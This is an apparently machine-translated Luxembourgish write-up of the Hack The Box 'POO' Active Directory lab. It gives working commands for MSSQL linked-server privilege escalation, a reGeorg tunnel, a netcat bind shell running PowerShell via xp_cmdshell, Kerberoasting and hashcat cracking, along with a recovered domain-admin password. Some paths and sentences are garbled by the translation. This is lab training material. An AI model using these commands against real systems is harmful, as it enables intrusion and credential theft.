An dësem Artikel wäerte mir de Passage vun net nëmmen eng Maschinn analyséieren, mä e ganze Mini-Laboratoire vum Site
Wéi an der Beschreiwung uginn, ass POO entwéckelt fir Fäegkeeten op all Stadium vun Attacken an engem klengen Active Directory Ëmfeld ze testen. D'Zil ass e verfügbaren Host ze kompromittéieren, Privilegien ze eskaléieren, a schliisslech de ganze Domain kompromittéieren andeems Dir 5 Fändelen am Prozess sammelt.
D'Verbindung zum Laboratoire ass iwwer VPN. Et ass recommandéiert net vun engem schaffende Computer oder vun engem Host ze verbannen, wou et wichteg Donnéeën fir Iech ass, well Dir an e privaten Netzwierk mat Leit erakënnt, déi eppes iwwer Informatiounssécherheet wëssen 🙂
organisatoresch Informatiounen
Fir datt Dir iwwer nei Artikelen, Software an aner Informatioune gewuer kënnt, hunn ech erstallt
All Informatioun gëtt nëmme fir pädagogesch Zwecker geliwwert. Den Auteur vun dësem Dokument iwwerhëlt keng Verantwortung fir all Schued, dee jidderengem verursaacht gëtt als Resultat vum Gebrauch vum Wëssen a Methoden, déi als Resultat vun der Studie vun dësem Dokument kritt goufen.
Intro
Dëst Endspill besteet aus zwou Maschinnen an enthält 5 Fändelen.
D'Beschreiwung an d'Adress vum verfügbaren Host gëtt och uginn.
Loosst eis ufänken!
Recon Fändel
Dës Maschinn huet eng IP Adress vun 10.13.38.11 déi ech op /etc/hosts addéieren.
10.13.38.11 poo.htb
Den éischte Schrëtt ass fir oppe Ports ze scannen. Well et laang dauert fir all Ports mat nmap ze scannen, wäert ech et fir d'éischt mat masscan maachen. Mir scannen all TCP an UDP Ports vun der tun0 Interface op 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Elo, fir méi detailléiert Informatiounen iwwer d'Servicer ze kréien déi op den Ports lafen, loosst eis e Scan mat der -A Optioun lafen.
nmap -A poo.htb -p80,1433
Also hu mir IIS an MSSQL Servicer. An dësem Fall fanne mir de richtegen DNS Numm vum Domain a vum Computer eraus. Um Webserver gi mir vun der IIS Homepage begréisst.
Loosst eis iwwer d'Verzeichnungen iteréieren. Ech benotzen Gobuster fir dëst. An de Parameteren spezifizéiere mir d'Zuel vun de Streamen 128 (-t), URL (-u), Wierderbuch (-w) an Extensiounen déi eis interesséieren (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Also hu mir HTTP Authentifikatioun fir den /admin Verzeichnis, souwéi d'.DS_Store Desktop Service Späicherdatei verfügbar. .DS_Store sinn Fichieren datt Benotzer Astellunge fir engem Dossier Buttek, wéi eng Lëscht vun Fichieren, icon Standuert, ausgewielt Hannergrond Bild. Esou e Fichier kann am Webserververzeechnes vu Webentwéckler ophalen. Sou kréie mir Informatiounen iwwer den Inhalt vum Verzeechnes. Fir dëst kënnt Dir benotzen
python3 dsstore_crawler.py -i http://poo.htb/
Mir kréien den Inhalt vum Verzeichnis. Déi interessantst Saach hei ass den /dev Verzeichnis, aus deem mir d'Quellen an db Dateien an zwou Filialen gesinn. Awer mir kënnen déi éischt 6 Zeeche vu Datei- a Verzeechnesnimm benotzen wann de Service vulnerabel ass fir IIS ShortName. Dir kënnt fir dës Schwachstelle kontrolléieren mat
A mir fannen eng Textdatei déi mat "poo_co" ufänkt. Net wousst wat ech duerno maache soll, hunn ech einfach aus dem Dictionnaire vun den Verzeichnungen all d'Wierder ausgewielt, déi mat "co" ufänken.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
An iteréiert iwwer wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
A fënnt dat richtegt Wuert! Mir kucken dës Datei, späichert d'Umeldungsinformatiounen (vum DBNAME Parameter beurteelen, si sinn aus MSSQL).
Mir ginn de Fändel iwwer, a mir kommen ëm 20% vir.
Huh flag
Mir verbannen mat MSSQL, ech benotzen DBeaver.
Mir fanne näischt interessant an dëser Datebank, loosst eis en SQL Editor erstellen a kucken wat d'Benotzer sinn.
SELECT name FROM master..syslogins;
Mir hunn zwee Benotzer. Loosst eis eis Privilegien iwwerpréiwen.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Sou ginn et keng Privilegien. Loosst eis d'verlinkte Server kucken, ech hunn iwwer dës Technik am Detail geschriwwen
SELECT * FROM master..sysservers;
Also fanne mir en anere SQL Server. Loosst eis d'Ausféierung vun Kommandoen op dësem Server iwwerpréiwen mat openquery ().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
A mir kënne souguer e Query Bam bauen.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
D'Tatsaach ass datt wa mir eng Ufro un e verlinkte Server maachen, gëtt d'Ufro am Kontext vun engem anere Benotzer ausgefouert! Loosst eis kucken wéi ee Benotzerkontext mir um verlinkte Server lafen.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
An elo kucke mer a wéi engem Kontext d'Ufro vum verlinkte Server un eis ausgefouert gëtt!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Also ass et en DBO Kontext deen all Privilegien muss hunn. Loosst eis d'Privilegien iwwerpréiwen am Fall vun enger Ufro vun engem verlinkte Server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Wéi Dir gesitt, hu mir all Privilegien! Loosst eis eisen Admin esou erstellen. Awer si loossen se net duerch openquery, loosst eis et maachen duerch EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
An elo verbannen mir mat den Umeldungsinformatiounen vum neie Benotzer, beobachten déi nei Fändel Datebank.
Mir iwwerginn dëse Fändel a gi weider.
Backtrack Fändel
Loosst eis d'Shell mat MSSQL kréien, ech benotzen mssqlclient vum Impacket Package.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Mir mussen Passwierder kréien, an dat éischt wat mir scho begéint hunn ass de Site. Also brauche mir eng Webserverkonfiguratioun (mir kënnen net eng praktesch Shell werfen, anscheinend funktionnéiert d'Firewall).
Awer den Zougang gëtt refuséiert. Och wa mir d'Datei aus MSSQL liesen kënnen, brauche mir just ze wëssen wéi eng Programméierungssprooche konfiguréiert sinn. An am MSSQL Verzeichnis fanne mir eraus datt et Python gëtt.
Da gëtt et kee Problem fir d'web.config Datei ze liesen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Mat den Umeldungsinformatiounen fonnt, gitt op / admin a wielt de Fändel.
Fouss Fändel
Tatsächlech sinn et e puer Onbequemlechkeete fir eng Firewall ze benotzen, awer duerch d'Netzwierk Astellunge kucken mir datt de IPv6 Protokoll och benotzt gëtt!
Füügt dës Adress un /etc/hosts.
dead:babe::1001 poo6.htb
Loosst eis den Host nach eng Kéier scannen, awer dës Kéier iwwer IPv6.
An de WinRM Service ass iwwer IPv6 verfügbar. Loosst eis mat de fonnten Umeldungsinformatiounen verbannen.
Et gëtt e Fändel um Desktop, iwwerginn.
P00ned Fändel
No Reconnaissance op de Host mat
setspn.exe -T intranet.poo -Q */*
Loosst eis de Kommando iwwer MSSQL ausféieren.
Op dës Manéier kréie mir de SPN vun de Benotzer p00_hr an p00_adm, dat heescht datt se vulnérabel sinn fir en Attack wéi Kerberoasting. Kuerz gesot, mir kënnen d'Hashes vun hire Passwierder kréien.
Als éischt musst Dir eng stabil Shell am Numm vum MSSQL Benotzer kréien. Awer well mir am Zougang limitéiert sinn, hu mir eng Verbindung mam Host nëmmen duerch Ports 80 an 1433. Awer et ass méiglech den Traffic duerch den Hafen 80 ze tunnelen! Fir dëst benotze mir
Awer wa mir probéieren et ze kréien, kréie mir e Feeler 404. Dëst bedeit datt *.aspx Dateien net ausgefouert ginn. Fir Dateien mat dësen Extensiounen ze lafen, installéiert ASP.NET 4.5 wéi follegt.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
An elo, beim Accès op tunnel.aspx, kréie mir d'Äntwert datt alles prett ass fir ze goen.
Loosst eis de Client Deel vun der Applikatioun starten, déi de Traffic relaiséiert. Mir wäerten all Traffic vum Hafen 5432 op de Server weiderginn.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
A mir benotze Proxychains fir de Traffic vun all Applikatioun duerch eise Proxy ze schécken. Loosst eis dëse Proxy an d'Konfiguratiounsdatei /etc/proxychains.conf addéieren.
Loosst eis elo de Programm op de Server eropluede
Elo, duerch MSSQL, starten mir den Nolauschterer.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
A mir verbannen duerch eise Proxy.
proxychains rlwrap nc poo.htb 4321
A loosst eis d'Hashes kréien.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Als nächst musst Dir iwwer dës Hashes iteréieren. Zënter Rockyou hat kee Passwuertdaten Wierderbuch, Ech hunn ALL Passwuert Dictionnairen benotzt, déi a Seclists geliwwert ginn. Fir Opzielung benotze mir hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
A mir fanne béid Passwierder, dat éischt am dutch_passwordlist.txt Wierderbuch, an dat zweet am Keyboard-Combinations.txt.
An dofir hu mir dräi Benotzer, mir ginn op den Domain Controller. Loosst d'éischt seng Adress erausfannen.
Super, mir hunn d'IP Adress vum Domain Controller geléiert. Loosst eis all Benotzer vun der Domain erausfannen, wéi och wéi eng vun hinnen en Administrateur ass. Fir de Skript erofzelueden fir Informatiounen ze kréien PowerView.ps1. Da wäerte mir mat Evil-winrm verbannen, de Verzeechnes mat dem Skript am -s Parameter spezifizéieren. An dann lued just de PowerView Skript.
Elo hu mir Zougang zu all seng Funktiounen. De p00_adm Benotzer gesäit aus wéi e privilegiéierte Benotzer, also wäerte mir a sengem Kontext schaffen. Loosst eis e PSCredential Objet fir dëse Benotzer erstellen.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Elo all Powershell Kommandoen wou mir spezifizéieren Creds ginn am Numm vum p00_adm ausgefouert. Loosst eis eng Lëscht vun de Benotzer an den AdminCount Attribut weisen.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
An dofir ass eise Benotzer wierklech privilegéiert. Mol kucken zu wéi enge Gruppen hie gehéiert.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Mir bestätegen endlech datt de Benotzer en Domain Administrateur ass. Dëst gëtt et d'Recht fir op den Domain Controller op afstand aloggen. Loosst eis probéieren mat WinRM anzeloggen mat eisem Tunnel. Ech war duercherneen duerch d'Feeler vun reGeorg erausginn wann evil-winrm benotzt.
Da benotze mir eng aner, méi einfach,
Mir probéieren ze konnektéieren, a mir sinn am System.
Mee et gëtt kee Fändel. Da kuckt de Benotzer a kontrolléiert d'Desktops.
Bei mr3ks fanne mer de Fändel an de Labo ass 100% fäerdeg.
Dat ass alles. Als Feedback, kommentéiert ob Dir eppes Neies aus dësem Artikel geléiert hutt an ob et fir Iech nëtzlech war.
Dir kënnt mat eis bei
Source: will.com